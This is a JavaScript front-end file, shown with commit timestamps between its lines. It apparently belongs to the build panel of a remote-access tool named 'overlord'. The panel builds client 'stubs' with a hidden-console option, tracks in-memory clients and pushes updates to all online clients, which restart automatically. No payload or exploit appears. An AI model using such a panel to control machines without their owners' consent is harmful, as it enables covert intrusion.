? "fa-solid fa-circle-check"
: "fa-solid fa-circle-xmark" ;
2026-03-06 12:43:42 -06:00
if ( ! data . success && ! config . disableCgo ) {
addBuildOutput (
"Hint: This build used CGO. If it keeps failing, try enabling the 'Disable CGO' option and build again.\n" ,
"warn" ,
);
}
2026-03-05 00:04:26 -06:00
if ( data . success && data . files ) {
const buildData = {
id : data . buildId ,
status : "success" ,
startTime : Date . now (),
expiresAt : data . expiresAt ,
files : data . files ,
};
saveBuildToStorage ( data . buildId , buildData );
buildResults . classList . remove ( "hidden" );
displayBuild ( buildData );
2026-03-29 13:39:51 -05:00
// Auto-push update if "Build & Update All" was used
if ( pendingUpdateAll ) {
pendingUpdateAll = false ;
await pushUpdateToAllClients ( data . buildId , pendingUpdateHideWindow );
}
2026-03-05 00:04:26 -06:00
}
2026-03-26 16:25:06 -05:00
reader . cancel ();
2026-03-05 00:04:26 -06:00
return ;
} else if ( data . type === "error" ) {
addBuildOutput ( `\nERROR: ${ data . error } \n` , "error" );
}
}
}
buildOutputContainer . scrollTop = buildOutputContainer . scrollHeight ;
}
} finally {
reader . releaseLock ();
}
}
function addBuildOutput ( text , level = "info" ) {
const span = document . createElement ( "span" );
span . textContent = text ;
if ( level === "error" ) {
span . className = "text-red-400" ;
} else if ( level === "success" ) {
span . className = "text-green-400" ;
} else if ( level === "warn" ) {
span . className = "text-yellow-400" ;
} else {
span . className = "text-slate-300" ;
}
buildOutputDiv . appendChild ( span );
}
function showBuildFiles ( files , buildId , expiresAt ) {
buildResults . classList . remove ( "hidden" );
buildFilesDiv . innerHTML = "" ;
const buildInfoDiv = document . createElement ( "div" );
buildInfoDiv . className =
"mb-3 p-3 bg-slate-900/70 border border-slate-700 rounded-lg" ;
const infoRow = document . createElement ( "div" );
infoRow . className = "flex items-center justify-between gap-2 text-sm" ;
const left = document . createElement ( "div" );
left . className = "flex items-center gap-2" ;
const idIcon = document . createElement ( "i" );
idIcon . className = "fa-solid fa-fingerprint text-slate-400" ;
const idLabel = document . createElement ( "span" );
idLabel . className = "text-slate-300" ;
idLabel . textContent = "Build ID:" ;
const idCode = document . createElement ( "code" );
idCode . className = "text-blue-400 font-mono" ;
idCode . textContent = buildId ;
left . appendChild ( idIcon );
left . appendChild ( idLabel );
left . appendChild ( idCode );
const right = document . createElement ( "div" );
right . className = "flex items-center gap-2" ;
const clockIcon = document . createElement ( "i" );
clockIcon . className = "fa-solid fa-clock text-slate-400" ;
const expiresLabel = document . createElement ( "span" );
expiresLabel . className = "text-slate-300" ;
expiresLabel . textContent = "Expires in:" ;
const timer = document . createElement ( "span" );
timer . id = "expiration-timer" ;
timer . className = "text-yellow-400 font-medium" ;
timer . dataset . expires = String ( expiresAt );
timer . textContent = "Calculating..." ;
right . appendChild ( clockIcon );
right . appendChild ( expiresLabel );
right . appendChild ( timer );
infoRow . appendChild ( left );
infoRow . appendChild ( right );
buildInfoDiv . appendChild ( infoRow );
buildFilesDiv . appendChild ( buildInfoDiv );
updateExpirationTimer ();
setInterval ( updateExpirationTimer , 60000 );
files . forEach (( file ) => {
const fileDiv = document . createElement ( "div" );
fileDiv . className =
"flex items-center justify-between gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg" ;
const fileInfo = document . createElement ( "div" );
fileInfo . className = "flex items-center gap-2" ;
const fileIcon = document . createElement ( "i" );
fileIcon . className = "fa-solid fa-file-code text-blue-400" ;
const fileName = document . createElement ( "span" );
fileName . className = "font-medium" ;
fileName . textContent = file . name ;
const fileSize = document . createElement ( "span" );
fileSize . className = "text-xs text-slate-500" ;
fileSize . textContent = formatFileSize ( file . size );
fileInfo . appendChild ( fileIcon );
fileInfo . appendChild ( fileName );
fileInfo . appendChild ( fileSize );
const downloadBtn = document . createElement ( "a" );
downloadBtn . href = `/api/build/download/ ${ encodeURIComponent ( file . name ) } ` ;
downloadBtn . className =
"inline-flex items-center gap-1 px-3 py-1 rounded bg-blue-600 hover:bg-blue-700 text-white text-sm transition-colors" ;
downloadBtn . innerHTML = '<i class="fa-solid fa-download"></i> Download' ;
fileDiv . appendChild ( fileInfo );
fileDiv . appendChild ( downloadBtn );
buildFilesDiv . appendChild ( fileDiv );
});
}
function updateExpirationTimer ( timerEl , expiresAt ) {
if ( ! timerEl ) return ;
const now = Date . now ();
const remaining = expiresAt - now ;
if ( remaining <= 0 ) {
timerEl . textContent = "Expired" ;
timerEl . className = "text-red-400 font-medium" ;
return ;
}
const days = Math . floor ( remaining / ( 1000 * 60 * 60 * 24 ));
const hours = Math . floor (
( remaining % ( 1000 * 60 * 60 * 24 )) / ( 1000 * 60 * 60 ),
);
const minutes = Math . floor (( remaining % ( 1000 * 60 * 60 )) / ( 1000 * 60 ));
if ( days > 0 ) {
timerEl . textContent = ` ${ days } d ${ hours } h` ;
} else if ( hours > 0 ) {
timerEl . textContent = ` ${ hours } h ${ minutes } m` ;
} else {
timerEl . textContent = ` ${ minutes } m` ;
}
if ( days >= 3 ) {
timerEl . className = "text-green-400 font-medium" ;
} else if ( days >= 1 ) {
timerEl . className = "text-yellow-400 font-medium" ;
} else {
timerEl . className = "text-orange-400 font-medium" ;
}
}
async function deleteBuild ( buildId ) {
if ( ! confirm ( "Are you sure you want to delete this build?" )) {
return ;
}
try {
2026-03-12 21:26:53 -05:00
const res = await fetch ( `/api/build/ ${ encodeURIComponent ( buildId ) } /delete` , {
2026-03-05 00:04:26 -06:00
method : "DELETE" ,
credentials : "include" ,
});
if ( ! res . ok ) {
2026-03-12 21:26:53 -05:00
const data = await res . json (). catch (() => ({}));
throw new Error ( data . error || "Failed to delete build" );
2026-03-05 00:04:26 -06:00
}
const buildElement = document . getElementById ( `build- ${ buildId } ` );
if ( buildElement ) {
buildElement . remove ();
}
removeBuildFromStorage ( buildId );
if ( buildFilesDiv . children . length === 0 ) {
buildResults . classList . add ( "hidden" );
}
} catch ( err ) {
console . error ( "Failed to delete build:" , err );
alert ( "Failed to delete build. Please try again." );
}
}
function formatFileSize ( bytes ) {
if ( bytes === 0 ) return "0 B" ;
const k = 1024 ;
const sizes = [ "B" , "KB" , "MB" , "GB" ];
const i = Math . floor ( Math . log ( bytes ) / Math . log ( k ));
return Math . round (( bytes / Math . pow ( k , i )) * 100 ) / 100 + " " + sizes [ i ];
}
2026-03-12 12:05:42 -05:00
function formatStubVersion ( version ) {
if ( typeof version === "string" && version . trim ()) {
return version . trim ();
}
return "unknown (legacy build)" ;
}
2026-03-12 12:08:02 -05:00
function isVersionMismatch ( versionValue ) {
if ( ! currentServerVersion ) return false ;
return versionValue !== currentServerVersion ;
}
2026-03-05 00:04:26 -06:00
function saveBuildToStorage ( buildId , buildData ) {
try {
const builds = JSON . parse ( localStorage . getItem ( "overlord_builds" ) || "[]" );
const existingIndex = builds . findIndex (( b ) => b . id === buildId );
if ( existingIndex >= 0 ) {
builds [ existingIndex ] = buildData ;
} else {
builds . push ( buildData );
}
if ( builds . length > 20 ) {
builds . splice ( 0 , builds . length - 20 );
}
localStorage . setItem ( "overlord_builds" , JSON . stringify ( builds ));
} catch ( err ) {
console . error ( "Failed to save build to localStorage:" , err );
}
}
function getBuildFromStorage ( buildId ) {
try {
const builds = JSON . parse ( localStorage . getItem ( "overlord_builds" ) || "[]" );
return builds . find (( b ) => b . id === buildId );
} catch ( err ) {
console . error ( "Failed to get build from localStorage:" , err );
return null ;
}
}
function getAllBuildsFromStorage () {
try {
const builds = JSON . parse ( localStorage . getItem ( "overlord_builds" ) || "[]" );
return builds . sort (( a , b ) => b . startTime - a . startTime );
} catch ( err ) {
console . error ( "Failed to get builds from localStorage:" , err );
return [];
}
}
function removeBuildFromStorage ( buildId ) {
try {
const builds = JSON . parse ( localStorage . getItem ( "overlord_builds" ) || "[]" );
const filtered = builds . filter (( b ) => b . id !== buildId );
localStorage . setItem ( "overlord_builds" , JSON . stringify ( filtered ));
} catch ( err ) {
console . error ( "Failed to remove build from localStorage:" , err );
}
}
async function loadSavedBuilds () {
try {
const res = await fetch ( "/api/build/list" , {
credentials : "include" ,
});
if ( ! res . ok ) {
console . error ( "Failed to fetch builds from server" );
return ;
}
const data = await res . json ();
const builds = data . builds || [];
const now = Date . now ();
const validBuilds = builds . filter (( build ) => {
if ( build . expiresAt && build . expiresAt <= now ) {
return false ;
}
return true ;
});
if ( validBuilds . length === 0 ) {
return ;
}
buildResults . classList . remove ( "hidden" );
for ( const build of validBuilds ) {
displayBuild ( build );
saveBuildToStorage ( build . id , build );
}
} catch ( err ) {
console . error ( "Failed to load builds:" , err );
const builds = getAllBuildsFromStorage ();
const now = Date . now ();
const validBuilds = builds . filter (( build ) => {
if ( build . expiresAt && build . expiresAt <= now ) {
removeBuildFromStorage ( build . id );
return false ;
}
return true ;
});
if ( validBuilds . length > 0 ) {
buildResults . classList . remove ( "hidden" );
validBuilds . forEach (( build ) => displayBuild ( build ));
}
}
}
function displayBuild ( build ) {
const buildContainer = document . createElement ( "div" );
buildContainer . className =
"build-result-item mb-6 pb-6 border-b border-gray-700 last:border-b-0" ;
buildContainer . id = `build- ${ build . id } ` ;
const header = document . createElement ( "div" );
header . className = "flex items-center justify-between mb-3" ;
const left = document . createElement ( "div" );
left . className = "flex items-center gap-3" ;
const boxIcon = document . createElement ( "i" );
boxIcon . className = "fa-solid fa-box text-blue-400" ;
const buildLabel = document . createElement ( "span" );
buildLabel . className = "text-gray-300 font-medium" ;
buildLabel . textContent = `Build ID: ${ build . id . substring ( 0 , 8 ) } ` ;
const sep = document . createElement ( "span" );
sep . className = "text-gray-500" ;
sep . textContent = "•" ;
const startedAt = document . createElement ( "span" );
startedAt . className = "text-sm text-gray-400" ;
startedAt . textContent = new Date ( build . startTime ). toLocaleString ();
left . appendChild ( boxIcon );
left . appendChild ( buildLabel );
left . appendChild ( sep );
left . appendChild ( startedAt );
const right = document . createElement ( "div" );
right . className = "flex items-center gap-3" ;
const timerWrap = document . createElement ( "div" );
timerWrap . className = "flex items-center gap-2" ;
const clockIcon = document . createElement ( "i" );
clockIcon . className = "fa-solid fa-clock text-gray-400" ;
const timer = document . createElement ( "span" );
timer . id = `timer- ${ build . id } ` ;
timer . className = "text-gray-300 font-medium" ;
timer . textContent = "Loading..." ;
timerWrap . appendChild ( clockIcon );
timerWrap . appendChild ( timer );
const deleteBtn = document . createElement ( "button" );
deleteBtn . id = `delete-btn- ${ build . id } ` ;
deleteBtn . className =
"px-3 py-1.5 bg-red-500/20 hover:bg-red-500/30 text-red-400 rounded-lg transition-colors flex items-center gap-2 text-sm" ;
deleteBtn . title = "Delete build" ;
const deleteIcon = document . createElement ( "i" );
deleteIcon . className = "fa-solid fa-trash" ;
const deleteText = document . createElement ( "span" );
deleteText . textContent = "Delete" ;
deleteBtn . appendChild ( deleteIcon );
deleteBtn . appendChild ( deleteText );
deleteBtn . addEventListener ( "click" , () => deleteBuild ( build . id ));
right . appendChild ( timerWrap );
right . appendChild ( deleteBtn );
header . appendChild ( left );
header . appendChild ( right );
const filesContainer = document . createElement ( "div" );
filesContainer . id = `files- ${ build . id } ` ;
filesContainer . className = "space-y-2" ;
buildContainer . appendChild ( header );
buildContainer . appendChild ( filesContainer );
buildFilesDiv . appendChild ( buildContainer );
showBuildFilesForContainer ( build , `files- ${ build . id } ` , `timer- ${ build . id } ` );
}
function showBuildFilesForContainer ( build , containerId , timerId ) {
const container = document . getElementById ( containerId );
const timerEl = document . getElementById ( timerId );
if ( ! container || ! timerEl ) return ;
build . files . forEach (( file ) => {
const fileDiv = document . createElement ( "div" );
fileDiv . className =
"flex items-center justify-between bg-gray-700/50 p-4 rounded-lg hover:bg-gray-700 transition-colors" ;
const fileMeta = document . createElement ( "div" );
fileMeta . className = "flex items-center gap-3" ;
const fileIcon = document . createElement ( "i" );
fileIcon . className = "fa-solid fa-file text-blue-400" ;
const fileText = document . createElement ( "div" );
const fileName = document . createElement ( "div" );
fileName . className = "text-white font-medium" ;
fileName . textContent = file . filename ;
const filePlatform = document . createElement ( "div" );
filePlatform . className = "text-sm text-gray-400" ;
2026-03-12 12:05:42 -05:00
const versionValue = formatStubVersion ( file . version );
const platformText = document . createElement ( "span" );
platformText . textContent = ` ${ file . platform } | ` ;
const versionText = document . createElement ( "span" );
2026-03-12 12:08:02 -05:00
versionText . className = isVersionMismatch ( versionValue )
? "server-version-number-mismatch"
: "server-version-number" ;
2026-03-12 12:05:42 -05:00
versionText . textContent =
versionValue === "unknown (legacy build)" ? versionValue : `v ${ versionValue } ` ;
filePlatform . appendChild ( platformText );
filePlatform . appendChild ( versionText );
2026-03-05 00:04:26 -06:00
fileText . appendChild ( fileName );
fileText . appendChild ( filePlatform );
fileMeta . appendChild ( fileIcon );
fileMeta . appendChild ( fileText );
const download = document . createElement ( "a" );
download . href = `/api/build/download/ ${ encodeURIComponent ( file . filename ) } ` ;
download . download = "" ;
download . className =
"px-4 py-2 bg-blue-500 hover:bg-blue-600 text-white rounded-lg transition-colors flex items-center gap-2" ;
const downloadIcon = document . createElement ( "i" );
downloadIcon . className = "fa-solid fa-download" ;
const downloadText = document . createElement ( "span" );
downloadText . textContent = "Download" ;
download . appendChild ( downloadIcon );
download . appendChild ( downloadText );
fileDiv . appendChild ( fileMeta );
fileDiv . appendChild ( download );
container . appendChild ( fileDiv );
});
if ( build . expiresAt ) {
updateExpirationTimer ( timerEl , build . expiresAt );
setInterval (() => updateExpirationTimer ( timerEl , build . expiresAt ), 60000 );
}
}
2026-03-29 13:39:51 -05:00
const buildUpdateAllBtn = document . getElementById ( "build-update-all-btn" );
const updateAllModal = document . getElementById ( "update-all-modal" );
const updateAllModalBody = document . getElementById ( "update-all-modal-body" );
const updateAllCancel = document . getElementById ( "update-all-cancel" );
const updateAllConfirm = document . getElementById ( "update-all-confirm" );
let pendingUpdateAll = false ;
let pendingUpdateHideWindow = false ;
function showUpdateAllModal () {
if ( ! updateAllModal ) return ;
updateAllModal . classList . remove ( "hidden" );
updateAllModal . classList . add ( "flex" );
}
function hideUpdateAllModal () {
if ( ! updateAllModal ) return ;
updateAllModal . classList . remove ( "flex" );
updateAllModal . classList . add ( "hidden" );
if ( updateAllConfirm ) {
updateAllConfirm . innerHTML = '<i class="fa-solid fa-hammer mr-1"></i> Build & Update' ;
updateAllConfirm . disabled = false ;
}
if ( updateAllCancel ) {
updateAllCancel . textContent = "Cancel" ;
}
}
if ( updateAllCancel ) {
updateAllCancel . addEventListener ( "click" , hideUpdateAllModal );
}
if ( updateAllModal ) {
updateAllModal . addEventListener ( "click" , ( e ) => {
if ( e . target === updateAllModal ) hideUpdateAllModal ();
});
}
if ( buildUpdateAllBtn ) {
buildUpdateAllBtn . addEventListener ( "click" , async () => {
if ( isBuilding ) return ;
const platformCheckboxes = form . querySelectorAll ( 'input[name="platform"]:checked' );
const platforms = Array . from ( platformCheckboxes ). map (( cb ) => cb . value );
if ( platforms . length === 0 ) {
alert ( "Please select at least one platform to build" );
return ;
}
showUpdateAllModal ();
updateAllConfirm . disabled = true ;
updateAllModalBody . innerHTML = '<p class="text-slate-400"><i class="fa-solid fa-spinner fa-spin mr-2"></i>Checking online clients...</p>' ;
try {
const res = await fetch ( "/api/build/update-eligible" , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
credentials : "include" ,
body : JSON . stringify ({ platforms }),
});
if ( ! res . ok ) {
const data = await res . json (). catch (() => ({}));
updateAllModalBody . innerHTML = `<p class="text-red-400"><i class="fa-solid fa-circle-xmark mr-2"></i> ${ data . error || "Failed to check eligible clients" } </p>` ;
return ;
}
const data = await res . json ();
let html = "" ;
html += `<p class="text-white"><i class="fa-solid fa-users mr-2 text-amber-400"></i><strong> ${ data . eligible } </strong> client(s) will receive the update after build.</p>` ;
html += '<div class="mt-2 text-xs text-slate-400 space-y-1">' ;
html += `<p><i class="fa-solid fa-globe mr-1 text-blue-400"></i> ${ data . totalOnline } total online client(s)</p>` ;
if ( data . skippedInMemory > 0 ) {
html += `<p><i class="fa-solid fa-memory mr-1 text-red-400"></i> ${ data . skippedInMemory } client(s) will be skipped (running in-memory)</p>` ;
}
if ( data . skippedNoMatch > 0 ) {
html += `<p><i class="fa-solid fa-ban mr-1 text-slate-500"></i> ${ data . skippedNoMatch } client(s) will be skipped (no matching platform)</p>` ;
}
html += "</div>" ;
if ( data . eligible === 0 && data . totalOnline === 0 ) {
html += '<p class="mt-3 text-xs text-slate-500">No clients are currently online. The build will still run but no updates will be sent.</p>' ;
}
html += '<p class="mt-3 text-xs text-amber-300/80"><i class="fa-solid fa-triangle-exclamation mr-1"></i>This will build the client and push the update to all eligible clients. Clients will restart automatically.</p>' ;
updateAllConfirm . disabled = false ;
updateAllModalBody . innerHTML = html ;
} catch ( err ) {
updateAllModalBody . innerHTML = `<p class="text-red-400"><i class="fa-solid fa-circle-xmark mr-2"></i>Error: ${ err . message } </p>` ;
}
});
}
if ( updateAllConfirm ) {
updateAllConfirm . addEventListener ( "click" , () => {
hideUpdateAllModal ();
pendingUpdateAll = true ;
pendingUpdateHideWindow = !! form . querySelector ( 'input[name="hide-console"]' ) ? . checked ;
form . requestSubmit ();
});
}
async function pushUpdateToAllClients ( buildId , hideWindow ) {
addBuildOutput ( "\n── Pushing update to all eligible clients ──\n" , "info" );
try {
const res = await fetch ( "/api/build/update-all" , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
credentials : "include" ,
body : JSON . stringify ({ buildId , hideWindow }),
});
const data = await res . json (). catch (() => ({}));
if ( ! res . ok ) {
addBuildOutput ( `Update failed: ${ data . error || "Unknown error" } \n` , "error" );
return ;
}
const succeeded = data . successCount || 0 ;
const total = data . totalOnline || 0 ;
const failed = ( data . results || []). filter (( r ) => ! r . ok );
const inMemoryCount = failed . filter (( r ) => r . reason === "in_memory" ). length ;
const noMatchCount = failed . filter (( r ) => r . reason === "no_matching_build" ). length ;
addBuildOutput ( `Update sent to ${ succeeded } of ${ total } online client(s)\n` , "success" );
if ( inMemoryCount > 0 ) {
addBuildOutput ( ` ${ inMemoryCount } client(s) skipped (running in-memory)\n` , "warn" );
}
if ( noMatchCount > 0 ) {
addBuildOutput ( ` ${ noMatchCount } client(s) skipped (no matching build)\n` , "warn" );
}
const otherFailed = failed . filter (( r ) => r . reason !== "in_memory" && r . reason !== "no_matching_build" );
if ( otherFailed . length > 0 ) {
addBuildOutput ( ` ${ otherFailed . length } client(s) failed for other reasons\n` , "warn" );
}
} catch ( err ) {
addBuildOutput ( `Update error: ${ err . message } \n` , "error" );
}
}